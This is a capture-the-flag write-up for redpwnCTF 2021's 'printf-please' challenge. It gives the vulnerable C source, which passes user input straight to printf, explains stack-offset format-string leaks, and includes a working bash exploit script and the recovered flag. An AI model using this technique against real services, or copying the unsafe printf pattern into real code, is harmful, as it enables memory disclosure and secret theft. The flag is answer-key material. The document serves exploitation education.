Tags: format-string pwn 

Rating:

# redpwnCTF 2021

## printf-please

> NotDeGhost
>
> rob keeps making me write beginner pwn! i'll show him...
>
> `nc mc.ax 31569`
>
> [please](please) [please.c](please.c)

Tags: _pwn_ _x86-64_ _format-string_

## Summary

Classic _leak the flag from the stack_.

## Analysis

### Source Included

```c
#include <stdio.h>
#include <fcntl.h>

int main(void)
{
char buffer[0x200];
char flag[0x200];

setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);

memset(buffer, 0, sizeof(buffer));
memset(flag, 0, sizeof(flag));

int fd = open("flag.txt", O_RDONLY);
if (fd == -1) {
puts("failed to read flag. please contact an admin if this is remote");
exit(1);
}

read(fd, flag, sizeof(flag));
close(fd);

puts("what do you say?");

read(0, buffer, sizeof(buffer) - 1);
buffer[strcspn(buffer, "\n")] = 0;

if (!strncmp(buffer, "please", 6)) {
printf(buffer);
puts(" to you too!");
}
}
```

The flag is read into `flag` (on stack). To read, use the `printf(buffer)` vuln to read any arbitrary value from the stack with `%xx$p` where `xx` starts at `06` (top of stack). Since `buffer` is allocated first, you'll need to start at `0x200 / 8 + 6` (70).

> Oh, don't for get to start with `please` :-)

## Exploit

```bash
#!/bin/bash

for ((i=70;;i++)) {
B=$(echo 'please %'$i'$p' | nc mc.ax 31569 | grep please | awk '{print $2}')
if echo $B | grep '7d' >/dev/null 2>&1
then
echo $B | sed 's/.*7d/7d/' | xxd -r -p | rev; echo
break
fi
echo $B | awk -Fx '{print $2}' | xxd -r -p | rev
}
```

Output:

```bash
# ./sol.sh
flag{pl3as3_pr1ntf_w1th_caut10n_9a3xl}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/redpwnctf2021/please).